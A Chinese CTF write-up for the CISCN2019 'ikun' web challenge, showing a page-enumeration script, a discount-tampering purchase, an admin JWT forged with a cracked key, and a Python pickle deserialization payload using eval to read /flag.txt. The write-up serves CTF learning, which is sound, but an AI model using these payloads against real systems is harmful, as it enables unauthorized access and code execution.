2020/7/16 - [CISCN2019 华北赛区 Day1 Web2]ikun - admin伪造、python之pickle反序列化

文章目录

      • 1.跑出Lv6所在page
      • 2.购买lv6
      • 3.伪造admin
      • 3.python反序列化

1.跑出Lv6所在page

根据提示要找LV6,再根据以下写脚本。

2020/7/16 - [CISCN2019 华北赛区 Day1 Web2]ikun - admin伪造、python之pickle反序列化_第1张图片

import requests;

url = 'http://d046240b-eee3-43a5-9b18-5a87217af228.node3.buuoj.cn/shop?page='

for i in range(0,1000):
    r = requests.get(url + str(i))
    if 'lv6.png' in r.text:
        print(i)
        break
    print(i)

2020/7/16 - [CISCN2019 华北赛区 Day1 Web2]ikun - admin伪造、python之pickle反序列化_第2张图片
lv6在181页,找到它。

2.购买lv6

先注册一个账号,每个账号的初始资金都是1000,但是要买lv6的号,要很多,远远超过了所拥有的资金。那我们就抓包改一下东西给他买下来。
发现可以改discount的值,改得很小很小就可以啦,我改成了0.000000001,买到之后又提示只有admin才可以访问该页面,我们再想办法变成admin。

3.伪造admin

解码jwt,顺便要解出key,用一个c工具解出了key1Kun
在这里插入图片描述
PS:1Kun=两年半
然后再将jwt加密,加密脚本如下

import jwt
print(jwt.encode({"username":"admin"},algorithm="HS256",key="1Kun").decode(encoding='utf-8'))

2020/7/16 - [CISCN2019 华北赛区 Day1 Web2]ikun - admin伪造、python之pickle反序列化_第3张图片

3.python反序列化

找到了潜伏的友军
在这里插入图片描述
下载之后根据wp说要找到Admin.py页面,内容如下

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

这里存在python反序列化的漏洞,鉴定标志:pickle库
对become进行反序列化,下面是python2脚本

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print (a)

在这里插入图片描述
直接将原来为admin的become换为得出的payload,就能写出flag.txt了。
明天学python反序列化!

你可能感兴趣的:(CTF)